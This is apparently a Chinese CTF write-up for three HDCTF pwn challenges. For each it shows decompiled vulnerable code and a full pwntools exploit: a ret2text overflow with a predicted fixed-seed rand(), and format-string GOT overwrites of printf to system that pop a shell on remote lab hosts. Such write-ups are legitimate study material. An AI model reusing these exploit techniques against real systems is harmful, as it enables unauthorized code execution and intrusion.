Index
- 前言
- Pwnner
- 分析
- EXP:
- KEEP_ON
- 分析
- EXP:
- Minions
- 分析
- EXP:
- 后记:
前言
本人是菜狗,比赛的时候只做出来1题,2题有思路但是不会,还是太菜了。
栈迁移还是不会,但又都是栈迁移的题,真头大。得找时间好好学学。
Pwnner
分析
一题很简单的ret2text题。
__int64 vuln()
{
int v0; // ebx
char buf[16]; // [rsp+0h] [rbp-50h] BYREF
char v3[64]; // [rsp+10h] [rbp-40h] BYREF
srand(0x39u);
puts("you should prove that you love pwn,so input your name:");
read(0, buf, 0x10uLL);
v0 = atoi(buf);
if ( v0 == rand() )
{
puts("ok,you have a little cognition about pwn,so what will you do next?");
read(0, v3, 0x100uLL);
}
else
{
puts("sorry,you are not a real pwnner");
}
return 0LL;
}
可以看到使用了srand
函数,参数是0x39,而不是时间戳。
那就很简单了,只要写一个在线C语言小程序跑一个随机数出来就行了。
我用的是Python的ctypes库。
相信看这篇文章的师傅ret2text都很熟悉吧,信手拈来的程度,我这里就不多赘述了,感兴趣可以去我主页翻刚开始复健Pwn的时候的学习文章。
EXP:
from pwn import *
import ctypes
context(arch='amd64', os='linux', log_level='debug')
Padding = b'A' * (0x40 + 0x08)
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.srand(0x39)
rand_result = libc.rand()
#io = process('./pwnner')
io = remote('node1.anna.nssctf.cn',28523)
ret = 0x40028B
io.recvuntil(b'so input your name:\n')
io.sendline(str(rand_result))
io.recvuntil(b'so what will you do next?\n')
Payload = Padding + p64(ret) + p64(0x4008B2)
io.sendline(Payload)
io.interactive()
KEEP_ON
分析
没错,这就是我比赛的时候有思路没做出来的题,同样还有下一题。
实际上很简单,存在两种做法:
栈迁移
以及格式化字符串
这里写的是格式化字符串的方法,因为方便快捷,下篇文章再说栈迁移该怎么打。
__int64 vuln()
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
memset(s, 0, sizeof(s));
puts("please show me your name: ");
read(0, s, 0x48uLL);
printf("hello,");
printf(s);
puts("keep on !");
read(0, s, 0x60uLL);
return 0LL;
}
主函数是这样的,我们可以通过格式化字符串漏洞修改printf_got
为system_plt
。
先计算出我们的偏移:
偏移为6。
EXP:
from PwnModules import *
#io = process('./hdctf')
io = remote('node4.anna.nssctf.cn', 28144)
elf = ELF('./hdctf')
context(arch='amd64', os='linux', log_level='debug')
io.recvuntil(b'name: \n')
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['vuln']
payload = fmtstr_payload(6, {printf_got: system_plt})
io.send(payload)
payload_ret = b'A' * (0x50 + 0x08) + p64(vuln)
io.recvuntil(b'keep on !\n')
io.send(payload_ret)
io.recvuntil(b'name: \n')
io.send(b'/bin/sh\x00')
io.interactive()
切记不能使用sendline
,sendline
会附加一个换行符,而本题Payload长度有限制,加上换行符会出现不可预料的问题。
Minions
分析
和 KEEP_ON 一样的做法,也可以使用栈迁移,一样下次再说。
主要进行利用的函数是
int vuln()
{
char buf[208]; // [rsp+0h] [rbp-D0h] BYREF
puts("Welcome to HDCTF.What you name?\n");
read(0, buf, 0xD0uLL);
printf("Hello,");
return printf(buf);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
init();
vuln();
puts("\nDo you have an invitation key?");
if ( key == 102 )
{
puts("welcome,tell me more about you");
read(0, buf, 0x40uLL);
puts("That's great.Do you like Minions?");
read(0, &hdctf, 0x28uLL);
}
else
{
puts("sorry,you can't in");
}
return 0;
}
我们在main函数使用格式化字符串漏洞绕过条件。
然后和KEEP_ON一样打劫持printf_got
为system_plt
。
EXP:
from pwn import *
#io = process('./minions1')
io = remote('node1.anna.nssctf.cn','28190')
elf = ELF('./minions1')
context(arch='amd64', os='linux', log_level='debug')
Padding = b'A' * (0xD0-0x01) + b'B' * 0x01
key = 0x6010A0
printf_got = elf.got['printf']
system_plt = elf.plt['system']
vuln = elf.sym['_start']
Padding = b'A' * (0x30 + 0x08)
Payload_Bypass = fmtstr_payload(6, {key: 0x66})
Payload_Replace = fmtstr_payload(6, {printf_got: system_plt})
Payload_Vuln = Padding + p64(vuln)
Payload_Shell = b'/bin/sh\x00'
io.recvuntil(b'name?\n')
io.send(Payload_Bypass)
io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')
io.recvuntil(b'name?\n\n')
io.send(Payload_Replace)
io.recvuntil(b'about you\n')
io.send(Payload_Vuln)
io.recvuntil(b'Minions?\n')
io.send(b'Kaguya')
io.recvuntil(b'name?\n\n')
io.send(Payload_Shell)
io.interactive()
后记:
对我来说还是有提升的,虽然都是简单题目。
但是慢慢来,人总有个成长的过程。
相信当我解决完这几题栈迁移后,我的水平会进一步提升。